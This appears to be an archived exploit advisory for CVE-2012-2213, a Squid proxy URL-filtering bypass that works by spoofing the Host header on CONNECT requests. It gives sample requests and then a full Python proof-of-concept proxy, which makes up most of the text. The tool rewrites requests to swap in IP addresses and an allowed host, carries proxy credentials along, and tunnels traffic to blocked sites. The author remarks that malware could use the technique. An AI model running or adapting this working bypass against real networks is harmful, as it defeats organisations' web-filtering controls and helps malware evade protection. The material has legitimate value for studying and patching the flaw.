[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Squid URL Filtering Bypass



# Exploit Title: Squid URL Filtering Bypass
# Date: 16/04/2012
# Author: Gabriel Menezes Nunes
# Version: Squid Proxy
# Tested on: Squid Proxy 3.1.19
# CVE: CVE-2012-2213


I found a vulnerability in Squid Proxy that allows access to filtered sites.
The software believes in the Host field of HTTP Header using CONNECT method.
Example

CONNECT 66.220.147.44:443 HTTP/1.1
Host: www.facebook.com


It is blocked.

CONNECT 66.220.147.44:443 HTTP/1.1 (without host field)

It is blocked.

But:

CONNECT 66.220.147.44:443 HTTP/1.1
Host: www.uol.com.br (allowed url)

The connection works.

From here, I can send SSL traffic without a problem. This way, I can
access any blocked site that allows SSL connections.


This vulnerability is different from the CONNECT Tunnel method. The
flaw is on the Host field processing. The software believes on this
field.

So, any sites can be accessed. URL filtering in this software is
irrelevant and useless.
One of the most important (if not the most important) feature of this
kind of device is to protect the network in accessing specific URLs.
So, this flaw is very dangerous, and it can be implemented even in
malwares, bypassing any protection.
I developed a python script that acts like a proxy and it uses this
flaw to access any site.
This tool is just a proof of concept.
import socket,struct,sys,time
from threading import Thread


#The timeOut can be changed if the proxy is slow.
#Tested in GMail, Facebook, Youtube and several blocked sites.
#The proxy get the Host field of the http header and do not verify anything 
else.
#It trusts on the HTTP Header and it can be modified by the attacker.

timeOut = 0.8
isGet = 0
hostNameG = ""
pacoteGet = ""
port = 8080 #Listening port
proxyAddr = "vulnerableProxy.com" #vulnerable proxy
proxyPort = 8080 # proxy port

def handle(client,globalSock):
        
        client.settimeout(timeOut)
        
        global hostNameG
        

        while 1:
                
                dados = ""
                tam = 0
                while 1:
                        try:
                                dados2 = client.recv(1024)
                                tam = tam + len(dados2)
                                dados = dados + dados2
                        except socket.timeout:
                               
                                break

                
                dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD
                if dd != -1:
                  dd2 = dados.find(":")
                  hostName = dados[dd+8:dd2]
                  
                  ipAddr = socket.gethostbyname(hostName) #changing the method 
to connect to the ip address, not the dns domain
                  pacote = dados
                  hostHeader = "Host: " + hostName
                  pacote = pacote.replace(hostHeader, "Host: www.uol.com.br") 
#changing the host field with a value that is accepted by the proxy
                  pacote = pacote.replace(hostName, ipAddr) #changind domain 
for ip
                  
                  
                  
                  dados = pacote
                
                getd = dados.find("GET ")
                getd2 = dados.find("//")
                getd3 = dados.find("/", getd2+2)
                hostName = dados[getd2+2:getd3]
                
                
                if getd != -1:
                  globalSock.close()
                  globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                  globalSock.connect((proxyAddr,proxyPort))
                  globalSock.settimeout(timeOut)
                  getd2 = dados.find("//")
                  getd3 = dados.find("/", getd2+2)
                  
                  hostName = dados[getd2+2:getd3]
                  
                  proxyAuth = ""
                  proxyAuthN = dados.find("Proxy-Authorization:")
                  if proxyAuthN != -1:
                    proxyAuthNN = dados.find("\r\n", proxyAuthN)
                    proxyAuth = dados[proxyAuthN:proxyAuthNN]
                    
                    
                  ipAddr = socket.gethostbyname(hostName)
                  
                  info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n"
                  if proxyAuthN != -1:
                    info += proxyAuth + "\r\n"
                  
                  info += "Host: www.uol.com.br\r\n\r\n"
                  
                  globalSock.send(info)
                  tam = 0
                  gdata = ""
                  
                  while 1:
                        try:
                                
                                gdata2 = globalSock.recv(1024)
                                
                                tam = tam + len(gdata2)
                                gdata = gdata + gdata2
                                
                                if len(gdata2) == 0: 
                                        break
                                
                                
                        except socket.timeout:
                                
                                break
                  
                
                
                  
                
                globalSock.send(dados)
                tam = 0
                gdata = ""
                
                while 1:
                        try:
                                
                                gdata2 = globalSock.recv(1024)
                                
                                if len(gdata2) > 0:
                                        client.send(gdata2)
                                
                                tam = tam + len(gdata2)
                                gdata = gdata + gdata2
                                
                                if len(gdata2) == 0: 
                                        break
                                
                                
                        except socket.timeout:
                                
                                break
                
                


print 'Proxy Bypass'
print 'by Gabriel Menezes Nunes'
print 'Tested on McAfee Web Gateway 7 and Squid Proxy'
sockzao = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Attacked Proxy:',
print proxyAddr
print 'Listening on',
print port
sockzao.bind(("",port))

sockzao.listen(6)

while 1:
        print 'Waiting for connections'
        client, address = sockzao.accept()
        print 'Client Connected'
        print address
        globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        globalSock.connect((proxyAddr,proxyPort))
        globalSock.settimeout(timeOut)

        t = Thread(target=handle, args=(client,globalSock,))
        t.start()